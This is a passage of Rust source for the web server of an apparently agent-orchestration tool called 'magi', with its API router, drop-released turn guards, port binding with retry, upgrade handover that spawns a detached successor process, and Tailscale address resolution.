875    /// Claim a run for a resume, on the same reasoning as
876    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
877    /// disconnected phone does not wedge the run until the server restarts.
878    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
879        let mut live = self
880            .resuming
881            .lock()
882            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
883        if !live.insert(id.to_owned()) {
884            return Err(ApiError::conflict(format!(
885                "run {id} is already being resumed"
886            )));
887        }
888        Ok(ResumeGuard {
889            run: id.to_owned(),
890            resuming: Arc::clone(&self.resuming),
891        })
892    }
893
894    /// The router, with this state baked in.
895    ///
896    /// The three front-end files get one explicit route each rather than a
897    /// path parameter, so there is no traversal surface to get wrong: the set
898    /// of servable paths is the set written here. The asset route below is the
899    /// one exception and the only place in this server where a client names a
900    /// file; it is why [`valid_asset_name`] is checked before a path is built.
901    pub fn router(self) -> Router {
902        Router::new()
903            .route("/", get(index))
904            .route("/app.css", get(app_css))
905            .route("/app.js", get(app_js))
906            .route("/api/health", get(health))
907            .route("/api/loop", get(loop_get).post(loop_post))
908            .route("/api/upgrade", post(upgrade_post))
909            .route("/api/runs", get(runs_list))
910            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
911            .route("/api/runs/{id}/report", get(run_report))
912            .route("/api/runs/{id}/report.json", get(run_report_json))
913            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
914            .route("/api/runs/{id}/fold", post(run_fold))
915            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
916            .route("/api/runs/{id}/resume", post(run_resume))
917            .route("/api/queue", get(queue_list))
918            .route("/api/search", get(search_get))
919            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
920            .route("/api/stats", get(stats_get))
921            .route("/api/repos", get(repos_list))
922            .route("/api/settings", get(settings_get))
923            .route("/api/settings/roles", put(settings_put_roles))
924            .route("/api/queue/{id}/hold", post(queue_hold))
925            .route("/api/queue/{id}/release", post(queue_release))
926            .route("/api/queue/{id}/priority", post(queue_priority))
927            .route("/api/queue/{id}/urgent", post(queue_urgent))
928            .route("/api/queue/{id}/implementers", post(queue_implementers))
929            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
930            .route("/api/queue/{id}/edit", post(queue_edit))
931            .route("/api/queue/{id}/done", post(queue_done))
932            .route("/api/questions", get(questions_list))
933            .route("/api/questions/{id}/answer", post(question_answer))
934            .route("/api/questions/{id}/say", post(question_say))
935            .route("/api/questions/{id}/consult", post(question_consult))
936            .route("/api/questions/{id}/panel", get(question_panel))
937            // The same asset, reachable from inside the panel by its bare
938            // filename. A document served at `.../panel` resolves `shot.png`
939            // to `.../shot.png`, which is not the asset route, so a panel
940            // written the way its author was told to write it showed broken
941            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
942            // it - deliberately - so the fix is that the panel's own URL ends
943            // in a filename and its siblings are the assets.
944            .route("/api/questions/{id}/panel/index.html", get(question_panel))
945            .route("/api/questions/{id}/panel/{name}", get(question_asset))
946            .route("/api/questions/{id}/asset/{name}", get(question_asset))
947            .route("/api/notifications", get(notifications_list))
948            .route("/api/notifications/read-all", post(notifications_read_all))
949            .route("/api/notifications/{id}/read", post(notification_read))
950            .route(
951                "/api/notifications/{id}/dismiss",
952                post(notification_dismiss),
953            )
954            .route("/api/talks", get(talks_list).post(talk_post))
955            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
956            .route("/api/talks/{id}/say", post(talk_say))
957            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
958            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
959            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
960            .route("/api/talks/{id}/agent", post(talk_agent))
961            .route("/api/talks/{id}/persona", post(talk_persona))
962            .route("/api/talks/{id}/implementers", post(talk_implementers))
963            .route("/api/talks/{id}/close", post(talk_close))
964            .route("/api/talks/{id}/reopen", post(talk_reopen))
965            // `DefaultBodyLimit` is raised only on this one route - every
966            // other route on this server answers in a few kilobytes, and
967            // widening the crate-wide default for all of them just because
968            // one accepts a picture would let any other handler be handed
969            // a multi-megabyte body it never expects.
970            .route(
971                "/api/talks/{id}/attachments",
972                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
973            )
974            .route(
975                "/api/talks/{id}/attachments/{att}",
976                get(talk_attachment_get),
977            )
978            .route("/api/talks/{id}/avatar", get(talk_avatar))
979            .route("/avatars/operator.svg", get(operator_avatar))
980            .route(
981                "/api/avatar-settings",
982                get(avatar_settings_get)
983                    .put(avatar_settings_put)
984                    .delete(avatar_settings_delete),
985            )
986            .route("/avatars/persona", get(settings_persona_avatar))
987            .route("/avatars/magi", get(magi_avatar))
988            .route(
989                "/api/magi-icon",
990                get(magi_icon_get)
991                    .put(magi_icon_put)
992                    .delete(magi_icon_delete),
993            )
994            .route("/api/events", get(events))
995            .with_state(Arc::new(self))
996    }
997}
998
999/// What a chat request is told while an upgrade is parking and the request
1000/// cannot be queued as a draft.
1001const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1002
1003/// One talk's turn slot, released on drop.
1004///
1005/// A guard rather than a matching `remove` at the end of the handler, because
1006/// the handler has several early returns and one `await` that can be cancelled
1007/// out from under it. A leaked id is a talk nobody can talk to again.
1008#[derive(Debug)]
1009struct TalkTurnGuard {
1010    talk: String,
1011    turns: Arc<Mutex<TalkTurns>>,
1012    released: bool,
1013    /// The cross-process half of the slot; dropped with the guard.
1014    lease: Option<crate::talk::TurnLease>,
1015}
1016
1017/// In-memory turn ownership plus the queue generation observed by a drainer.
1018///
1019/// The generation changes only after a durable queued draft is written and its
1020/// caller finds the turn busy. That lets the loop run filesystem work outside
1021/// this mutex while still making the final empty-check/release atomic with a
1022/// concurrent queue handoff.
1023#[derive(Debug, Default)]
1024struct TalkTurns {
1025    live: HashSet<String>,
1026    queued: HashMap<String, u64>,
1027    /// Set while an upgrade hand-over is parking: no turn may start, so the
1028    /// set in `live` can only shrink. Cleared again if the hand-over ends
1029    /// without exiting the process.
1030    parking: bool,
1031}
1032
1033/// The atomic initial-state decision made by
1034/// [`Ui::begin_talk_turn_unless_pending`].
1035enum TalkTurnStart {
1036    Claimed(TalkTurnGuard),
1037    Busy,
1038    /// Another process holds the turn lease. Unlike `Busy` there is no local
1039    /// drain loop that would answer a queued draft, so the caller refuses.
1040    Foreign,
1041    Pending,
1042}
1043
1044impl TalkTurnGuard {
1045    /// Does this guard still own the on-disk lease? A transient failure to
1046    /// check counts as owning: the next beat decides. A guard that lost it
1047    /// must not start another turn on the same session.
1048    fn owns(&self) -> bool {
1049        self.lease
1050            .as_ref()
1051            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1052    }
1053
1054    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1055    /// than the lease's TTL still reads as held to other processes.
1056    async fn respond(
1057        &self,
1058        talk: &mut Talk,
1059        talks: &Talks,
1060        cfg: &Config,
1061        text: &str,
1062    ) -> anyhow::Result<()> {
1063        let lease = self
1064            .lease
1065            .as_ref()
1066            .context("the turn guard no longer holds its lease")?;
1067        talk::respond(lease, talk, talks, cfg, text).await
1068    }
1069
1070    /// Release while the caller already holds the claim mutex, closing the
1071    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1072    fn release(mut self, live: &mut TalkTurns) {
1073        // The on-disk lease goes first: while `live` still names the talk, no
1074        // local claim can start, so nobody observes the slot free but the
1075        // lease held.
1076        self.lease = None;
1077        live.live.remove(&self.talk);
1078        live.queued.remove(&self.talk);
1079        self.released = true;
1080    }
1081}
1082
1083impl Drop for TalkTurnGuard {
1084    fn drop(&mut self) {
1085        if self.released {
1086            return;
1087        }
1088        // Lease first, then the in-process slot (see `release`).
1089        drop(self.lease.take());
1090        if let Ok(mut live) = self.turns.lock() {
1091            live.live.remove(&self.talk);
1092            live.queued.remove(&self.talk);
1093        }
1094    }
1095}
1096
1097/// Releases a resume claim, so a run is resumable again after the attempt.
1098struct ResumeGuard {
1099    run: String,
1100    resuming: Arc<Mutex<HashSet<String>>>,
1101}
1102
1103impl Drop for ResumeGuard {
1104    fn drop(&mut self) {
1105        if let Ok(mut live) = self.resuming.lock() {
1106            live.remove(&self.run);
1107        }
1108    }
1109}
1110
1111/// Bind the port, waiting briefly for a predecessor to let go of it.
1112///
1113/// A restart hands the address from one process to the next, and the old one
1114/// holds its listener until it unwinds. A single `bind` can lose that race,
1115/// and for a restart triggered from a phone that means the deck never comes
1116/// back with no terminal around to say why.
1117///
1118/// Bounded, and only for the one error a wait can fix: anything else fails at
1119/// once, because retrying it would turn a clear message into a silence.
1120async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1121    const WINDOW: Duration = Duration::from_secs(10);
1122    const GAP: Duration = Duration::from_millis(250);
1123
1124    let deadline = std::time::Instant::now() + WINDOW;
1125    let mut said = false;
1126    loop {
1127        match tokio::net::TcpListener::bind(socket).await {
1128            Ok(listener) => return Ok(listener),
1129            Err(e)
1130                if e.kind() == std::io::ErrorKind::AddrInUse
1131                    && std::time::Instant::now() < deadline =>
1132            {
1133                if !said {
1134                    said = true;
1135                    tracing::info!(
1136                        "{socket} is still held - waiting up to {}s for it, \
1137                         which is what a restart looks like from here",
1138                        WINDOW.as_secs()
1139                    );
1140                }
1141                tokio::time::sleep(GAP).await;
1142            }
1143            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1144        }
1145    }
1146}
1147
1148/// Signalled when an upgrade has replaced the binary and the successor should
1149/// take this address over. One per process: there is one address to hand on.
1150static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1151
1152/// Set to `1` on the successor when the loop was running at handover.
1153const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1154
1155/// Whether the environment value asks for the loop to be resumed.
1156fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1157    value.is_some_and(|v| v == "1")
1158}
1159
1160/// Start this binary again with the same arguments, detached.
1161///
1162/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1163/// so the address is already free when the successor binds it. The first
1164/// attempt at this spawned the successor two hundred milliseconds before
1165/// exiting instead, and the released binary - which has no bind retry - died
1166/// on "address already in use" with its stdio sent to null, so the deck
1167/// simply never came back.
1168///
1169/// Detached and without inherited stdio: the successor has to outlive this
1170/// process, and must not hold open a pipe a terminal is waiting on.
1171///
1172/// `resume` tells the successor to start the queue loop, through
1173/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1174/// process inherited from its own predecessor cannot leak into a generation
1175/// that should not resume. The successor's own environment keeps the variable
1176/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1177///
1178/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1179/// than sent to null: a supervisor's redirection only ever held the first
1180/// generation's descriptors, so every later generation logged nowhere. The
1181/// pid of the child is returned so the handover log can name it.
1182fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1183    let exe = std::env::current_exe().context("find this binary")?;
1184    let args: Vec<String> = std::env::args().skip(1).collect();
1185    updater::log_step(
1186        home,
1187        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1188    );
1189    let log_path = home.join(WEB_LOG);
1190    let open_log = || {
1191        std::fs::create_dir_all(home)?;
1192        std::fs::OpenOptions::new()
1193            .create(true)
1194            .append(true)
1195            .open(&log_path)
1196    };
1197    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1198        Ok(pair) => (
1199            std::process::Stdio::from(pair.0),
1200            std::process::Stdio::from(pair.1),
1201        ),
1202        Err(e) => {
1203            updater::log_warn(
1204                home,
1205                &format!(
1206                    "could not open {}: {e}; the successor logs nowhere",
1207                    log_path.display()
1208                ),
1209            );
1210            (std::process::Stdio::null(), std::process::Stdio::null())
1211        }
1212    };
1213
1214    let mut cmd = std::process::Command::new(&exe);
1215    if resume {
1216        cmd.env(RESUME_LOOP_ENV, "1");
1217    } else {
1218        cmd.env_remove(RESUME_LOOP_ENV);
1219    }
1220    cmd.args(&args)
1221        .stdin(std::process::Stdio::null())
1222        .stdout(out)
1223        .stderr(err);
1224    #[cfg(windows)]
1225    {
1226        use std::os::windows::process::CommandExt as _;
1227        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1228        // and Ctrl-C in the old terminal must not reach the successor.
1229        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1230    }
1231    let child = cmd.spawn().context("start the successor")?;
1232    Ok(child.id())
1233}
1234
1235/// File under `<home>` the successor's output is appended to.
1236const WEB_LOG: &str = "web.log";
1237
1238/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1239/// stored by an earlier `notify_one` is consumed by the first poll, so the
1240/// signal is never missed and never wakes a second time.
1241async fn wait_for_handover(signal: &Notify) {
1242    signal.notified().await;
1243}
1244
1245/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1246///
1247/// The server itself owns no state, so nothing here is graceful for the HTTP
1248/// side's sake: the connections go with the dropped listener, which costs a
1249/// phone one change-stream reconnection it was going to make anyway.
1250///
1251/// The signal branch is not optional now that the loop lives in this process.
1252/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1253/// handler is what stops the signal terminating the process - so without a
1254/// branch of our own, the first Ctrl-C after the operator started the loop
1255/// would stop the loop and leave `magi web` listening forever, unkillable
1256/// from the terminal it was started in.
1257///
1258/// What it waits for is the loop, not the sockets. A run in flight is
1259/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1260/// mid-node leaves worktrees, branches and agent sessions behind and throws
1261/// away every agent call already paid for.
1262///
1263/// The server therefore runs on a task of its own rather than inside the
1264/// `select!`: an arm that resolves *drops* the futures the other arms were
1265/// polling, so serving the address from inside one would take the deck down
1266/// at the instant the handover began and keep it down for the whole park -
1267/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1268/// owns the order.
1269pub async fn serve(opts: Opts) -> Result<()> {
1270    let (addr, warning) = resolve_bind(&opts.bind);
1271    if let Some(warning) = warning {
1272        tracing::warn!("{warning}");
1273    }
1274
1275    // Process-global, and therefore set exactly once, here: the report route
1276    // must never emit escape sequences into a browser, and toggling the flag
1277    // per request would race with a concurrent request rendering its own
1278    // report. Startup is the only moment at which no request can observe the
1279    // change. Nothing in the server turns colour back on.
1280    report::set_color(false);
1281
1282    let repo = normalize_default_repo(opts.repo).await;
1283    let ui = Ui::open(repo).with_merge(opts.merge);
1284    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1285    // home to bracket the parking and restarting stages, and `run_update_recheck`
1286    // needs both it and the repo, and by then there is no `ui` left to read
1287    // them from.
1288    let home = ui.home.clone();
1289    let repo = ui.repo.clone();
1290    // Settles a progress record a predecessor left non-terminal - either this
1291    // *is* the successor `spawn_successor` started, or the previous process
1292    // died mid-handover. Before the router starts answering, so the very
1293    // first `/api/health` a phone gets from this process already reflects it.
1294    updater::reconcile_after_restart(&home);
1295    updater::log_step(
1296        &home,
1297        &format!(
1298            "web process started (version {}); handover log {}, successor output {}",
1299            env!("CARGO_PKG_VERSION"),
1300            updater::log_path(&home).display(),
1301            home.join(WEB_LOG).display()
1302        ),
1303    );
1304    updater::spawn_watchdog(home.clone());
1305    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1306    // `spawn_update_check` does at startup only ever runs once: after that,
1307    // `/api/health`'s `update` field - and the phone's "Update & restart"
1308    // button, which reads the very same cache - would stay frozen on
1309    // whatever that single check found, no matter how many releases ship
1310    // afterwards. This keeps it current instead. Detached: it must keep
1311    // going for as long as this process serves, `serve` has nothing to await
1312    // it for, and it exits on its own the moment the process does.
1313    tokio::spawn(run_update_recheck(repo, home.clone()));
1314    let looping = ui.looping();
1315    let turns = ui.turns();
1316    let talk_store = ui.talks.clone();
1317    let socket = SocketAddr::new(addr, opts.port);
1318    let listener = bind_waiting(socket).await?;
1319    let url = format!("http://{addr}:{}", opts.port);
1320    tracing::info!(
1321        "magi web UI on {url} - there is no authentication, so anyone who can \
1322         reach this address can file and hold tasks: the tailnet is the \
1323         security boundary"
1324    );
1325    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1326        tracing::info!("resumed the loop the predecessor was running");
1327    } else {
1328        tracing::info!(
1329            "the queue loop is not running yet - start it from the UI, which is \
1330             the whole reason this process can: nothing in the queue moves until \
1331             something is running the loop"
1332        );
1333    }
1334    if opts.open {
1335        // The URL alone on stdout, for a caller that wants to open it. magi
1336        // does not spawn a browser: on the machine this usually runs on there
1337        // is no display, and a failed launch would be the only output.
1338        println!("{url}");
1339    }
1340
1341    // On its own task, so nothing this function awaits can stop the address
1342    // being answered. `hand_over` is where it is given up.
1343    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1344    let interrupted = async {
1345        if tokio::signal::ctrl_c().await.is_err() {
1346            // No handler on this platform, so there is no signal to act on.
1347            // Never resolving is the safe answer: a failed registration must
1348            // not masquerade as the operator asking for a shutdown and take
1349            // the UI down on startup.
1350            std::future::pending::<()>().await;
1351        }
1352    };
1353    let handover = wait_for_handover(&HANDOVER);
1354    let outcome = tokio::select! {
1355        joined = &mut served => match joined {
1356            Ok(outcome) => outcome.context("serve the web UI"),
1357            Err(e) => Err(e).context("the task serving the web UI ended"),
1358        },
1359        () = interrupted => {
1360            tracing::info!("shutting down the web UI");
1361            finish_loop(&home, &looping, None).await;
1362            Ok(())
1363        }
1364        () = handover => {
1365            updater::log_step(&home, "serve: the select! woke on the handover signal");
1366            let successor_home = home.clone();
1367            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1368            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1369                spawn_successor(&successor_home, resume)
1370            })
1371            .await
1372        }
1373    };
1374    updater::log_step(
1375        &home,
1376        &match &outcome {
1377            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1378            Err(e) => format!("serve: returning an error: {e:#}"),
1379        },
1380    );
1381    outcome
1382}
1383
1384/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1385/// process's own working directory is not a git checkout at all - the
1386/// checkout [`repos::discover_verified`] finds instead.
1387///
1388/// Only the unmodified default is ever replaced: an operator who named a
1389/// directory outright, git checkout or not, gets exactly that directory
1390/// back, and the same story downstream (a talk whose briefing embeds a
1391/// non-git directory, and an agent that has to ask the operator where the
1392/// real repository is) that has always told them so - substituting a guess
1393/// for an explicit answer would be a second, silent opinion about what they
1394/// meant. There is no instruction or task text yet to match against this
1395/// early, so only [`repos::discover_verified`]'s own-repository tier can
1396/// ever settle this - the hint tier never fires here.
1397///
1398/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1399/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1400/// or a git installation that is broken in exactly the way that made the
1401/// original `canonical` check above fail too - so it is re-checked with
1402/// `git::toplevel` before it is ever used in place of the operator's own
1403/// directory.
1404async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1405    if repo != FsPath::new(".") {
1406        return repo;
1407    }
1408    let Ok(canonical) = repo.canonicalize() else {
1409        return repo;
1410    };
1411    if git::toplevel(&canonical).await.is_ok() {
1412        return repo;
1413    }
1414    let Some(home) = dirs::home_dir() else {
1415        return repo;
1416    };
1417    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1418        Some(found) => {
1419            tracing::info!(
1420                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1421                canonical.display(),
1422                found.path.display(),
1423                found.reason,
1424            );
1425            found.path
1426        }
1427        None => repo,
1428    }
1429}
1430
1431/// Park the loop, then release the address, then start the successor.
1432///
1433/// The order is the whole function, and each step is answerable to a failure
1434/// this arrangement has already had:
1435///
1436/// 1. **Park.** The loop was asked to stop by the request that replaced the
1437///    binary, and this waits for it, because killing the graph mid-node
1438///    leaves worktrees, branches and agent sessions behind and throws away
1439///    every agent call already paid for. It takes as long as the node in
1440///    flight - up to `timeout_implement`, an hour by default - and the deck
1441///    goes on answering for all of it, which is the reason `served` is a task
1442///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1443///    first upgrade from a phone that caught a run mid-implement dropped the
1444///    listener the moment it was asked to, and the operator got
1445///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1446///    waiting on and nothing but a process list to say the run was alive.
1447/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1448///    the join resolves only once the task's future has been dropped, so the
1449///    listener is released before the next line. Connections it already
1450///    accepted are served on tasks of their own and wind down asynchronously;
1451///    on some platforms (macOS) they can briefly keep the address busy, and
1452///    the successor's `bind_waiting` absorbs that.
1453/// 3. **Start the successor**, which binds the address this process has just
1454///    let go of - see [`spawn_successor`] for what the other order cost.
1455///
1456/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1457/// reporting, not part of the design: it exists so `/api/health` can say
1458/// "parking, waiting on run X" instead of leaving the phone to guess why the
1459/// deck went quiet, and dropping it would not change the order above.
1460async fn hand_over(
1461    home: &FsPath,
1462    looping: &Mutex<LoopState>,
1463    turns: &Arc<Mutex<TalkTurns>>,
1464    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1465    served: tokio::task::JoinHandle<std::io::Result<()>>,
1466    successor: impl FnOnce(bool) -> Result<u32>,
1467) -> Result<()> {
1468    updater::log_step(home, "hand_over: entered; writing the parking stage");
1469    // The lease and the stage are written as one step, so a reader that sees
1470    // `parking` also finds the proof that hand_over is alive. Dropped on
1471    // every way out.
1472    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1473    if !recorded {
1474        updater::log_warn(
1475            home,
1476            "hand_over: upgrade.json is unreadable; no parking stage",
1477        );
1478    }
1479    // Chat stays open while the loop parks: nothing restarts until it ends,
1480    // and the park can last as long as a node. Only once it is done is the
1481    // slot closed, right before the restart; a turn started earlier is in
1482    // `live` by then, so `finish_talks` waits for it.
1483    finish_loop(home, looping, Some(&mut lease)).await;
1484    let parking = ParkingTurns::begin(turns);
1485    let talks_done = finish_talks(home, turns, talk_wait);
1486    tokio::pin!(talks_done);
1487    let mut beat = tokio::time::interval(LEASE_BEAT);
1488    let (abandoned, waited_for) = loop {
1489        tokio::select! {
1490            left = &mut talks_done => break left,
1491            _ = beat.tick() => lease.beat(),
1492        }
1493    };
1494    drop(lease);
1495    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1496    served.abort();
1497    let _ = served.await;
1498    updater::log_step(home, "hand_over: listener released");
1499    // Read last: the deck answers for the whole park, so an operator's stop
1500    // during the wait must still be honoured by the successor.
1501    let resume = lock_or_recover(looping).resume_after_handover;
1502    match updater::read_progress(home) {
1503        Some(mut progress) => {
1504            progress.advance(updater::Stage::Restarting);
1505            if !abandoned.is_empty() {
1506                progress.detail = Some(format!(
1507                    "handed over while {} still running after {} s",
1508                    updater::talks_phrase(&abandoned),
1509                    waited_for.as_secs()
1510                ));
1511            }
1512            updater::write_progress_logged(home, &progress);
1513        }
1514        None => updater::log_warn(
1515            home,
1516            "hand_over: upgrade.json is unreadable; no restarting stage",
1517        ),
1518    }
1519    updater::log_step(
1520        home,
1521        &format!("hand_over: starting the successor (resume={resume})"),
1522    );
1523    drop(parking);
1524    match successor(resume) {
1525        Ok(pid) => {
1526            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1527            Ok(())
1528        }
1529        Err(e) => {
1530            updater::log_warn(
1531                home,
1532                &format!("hand_over: the successor did not start: {e:#}"),
1533            );
1534            Err(e)
1535        }
1536    }
1537}
1538
1539/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1540/// a turn that runs its full timeout still needs a moment to record its answer.
1541const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1542
1543/// How often the park looks at the chat turns still running.
1544const TALK_POLL: Duration = Duration::from_millis(250);
1545
1546/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1547/// grace. Beyond it a stuck turn must not block the hand-over.
1548fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1549    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1550}
1551
1552/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1553/// the repositories those talks run in (each turn uses its own talk's
1554/// configuration), plus the grace. A talk or config that cannot be read counts
1555/// with the default timeout.
1556fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1557    let default = Config::default().graph.timeout_talk;
1558    let longest = ids
1559        .iter()
1560        .map(|id| {
1561            talks
1562                .get(id)
1563                .ok()
1564                .and_then(|t| Config::discover(&t.repo, None).ok())
1565                .map_or(default, |(c, _)| c.graph.timeout_talk)
1566        })
1567        .max()
1568        .unwrap_or(default);
1569    talk_wait_bound(longest)
1570}
1571
1572/// Stops new chat turns for as long as it lives, so the hand-over only ever
1573/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1574/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1575struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1576
1577impl ParkingTurns {
1578    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1579        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1580        Self(Arc::clone(turns))
1581    }
1582}
1583
1584impl Drop for ParkingTurns {
1585    fn drop(&mut self) {
1586        self.0
1587            .lock()
1588            .unwrap_or_else(PoisonError::into_inner)
1589            .parking = false;
1590    }
1591}
1592
1593/// Wait until no chat turn is running in this process, for at most the longest
1594/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1595/// running when the bound was hit (empty when the turns finished) with the
1596/// bound that applied, after saying so in the upgrade log.
1597async fn finish_talks(
1598    home: &FsPath,
1599    turns: &Mutex<TalkTurns>,
1600    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1601) -> (Vec<String>, Duration) {
1602    let running = || {
1603        let mut ids: Vec<String> = turns
1604            .lock()
1605            .unwrap_or_else(PoisonError::into_inner)
1606            .live
1607            .iter()
1608            .cloned()
1609            .collect();
1610        // A turn another task of this process (the daemon's completion
1611        // notice) or another process runs holds only the on-disk lease.
1612        let talks = talk::Talks::at(home.join("talks"));
1613        for t in talks.list() {
1614            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1615                ids.push(t.id);
1616            }
1617        }
1618        ids.sort();
1619        ids
1620    };
1621    let started = std::time::Instant::now();
1622    let mut seen = Vec::new();
1623    let mut bound = Duration::ZERO;
1624    loop {
1625        let ids = running();
1626        if ids != seen {
1627            bound = bound.max(bound_for(&ids));
1628            if ids.is_empty() {
1629                updater::log_step(home, "finish_talks: no chat turn is running");
1630            } else {
1631                updater::log_step(
1632                    home,
1633                    &format!(
1634                        "finish_talks: waiting for {} to finish",
1635                        updater::talks_phrase(&ids)
1636                    ),
1637                );
1638            }
1639            updater::set_parked_talks(home, &ids);
1640            seen = ids;
1641        }
1642        if seen.is_empty() {
1643            return (Vec::new(), bound);
1644        }
1645        if started.elapsed() >= bound {
1646            updater::log_warn(
1647                home,
1648                &format!(
1649                    "finish_talks: {} still running after {} s; handing over anyway",
1650                    updater::talks_phrase(&seen),
1651                    bound.as_secs()
1652                ),
1653            );
1654            return (seen, bound);
1655        }
1656        tokio::time::sleep(TALK_POLL).await;
1657    }
1658}
1659
1660/// How often `finish_loop` renews the handover lease; well inside
1661/// [`updater::LEASE_TTL_SECS`].
1662const LEASE_BEAT: Duration = Duration::from_secs(20);
1663
1664/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1665///
1666/// The wait is the whole function. Returning from `serve` while a graph is
1667/// mid-node ends the process with worktrees, branches and agent sessions left
1668/// behind and every agent call in that run paid for and thrown away, which is
1669/// exactly what the daemon's own shutdown refuses to do.
1670async fn finish_loop(
1671    home: &FsPath,
1672    state: &Mutex<LoopState>,
1673    mut lease: Option<&mut updater::LeaseGuard>,
1674) {
1675    let live = lock_or_recover(state).live.take();
1676    let Some(live) = live else {
1677        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1678        return;
1679    };
1680    live.stop.stop();
1681    lock_or_recover(state).rev += 1;
1682    updater::log_step(
1683        home,
1684        "finish_loop: waiting for the loop to finish the run in flight",
1685    );
1686    let waited = std::time::Instant::now();
1687    // The task records its own outcome and logs it, so there is nothing to do
1688    // with a join error here but stop waiting.
1689    let mut handle = live.handle;
1690    let mut beat = tokio::time::interval(LEASE_BEAT);
1691    loop {
1692        tokio::select! {
1693            _ = &mut handle => break,
1694            _ = beat.tick() => {
1695                if let Some(lease) = lease.as_deref_mut() {
1696                    lease.beat();
1697                }
1698            }
1699        }
1700    }
1701    updater::log_step(
1702        home,
1703        &format!(
1704            "finish_loop: the loop ended after {:.1}s",
1705            waited.elapsed().as_secs_f32()
1706        ),
1707    );
1708}
1709
1710/// Resolve `--bind` to an address, plus a warning when the answer is not what
1711/// the operator asked for.
1712///
1713/// Split out from [`serve`] because the interesting half - deciding whether
1714/// Tailscale gave us something usable - is testable without opening a socket.
1715pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1716    match bind {
1717        Bind::Addr(addr) => (*addr, None),
1718        Bind::Auto => match tailscale_ip() {
1719            Ok(ip) => (IpAddr::V4(ip), None),
1720            Err(why) => (
1721                IpAddr::V4(Ipv4Addr::LOCALHOST),
1722                Some(format!(
1723                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1724                     local-only and a phone cannot reach it; start Tailscale \
1725                     or pass --bind <addr>"
1726                )),
1727            ),
1728        },
1729    }
1730}
1731
1732/// This machine's Tailscale IPv4, or why there is not one.
1733///
1734/// `tailscale ip -4` is a local call against the running daemon and returns in
1735/// milliseconds, so it is fine to make it synchronously before the server
1736/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
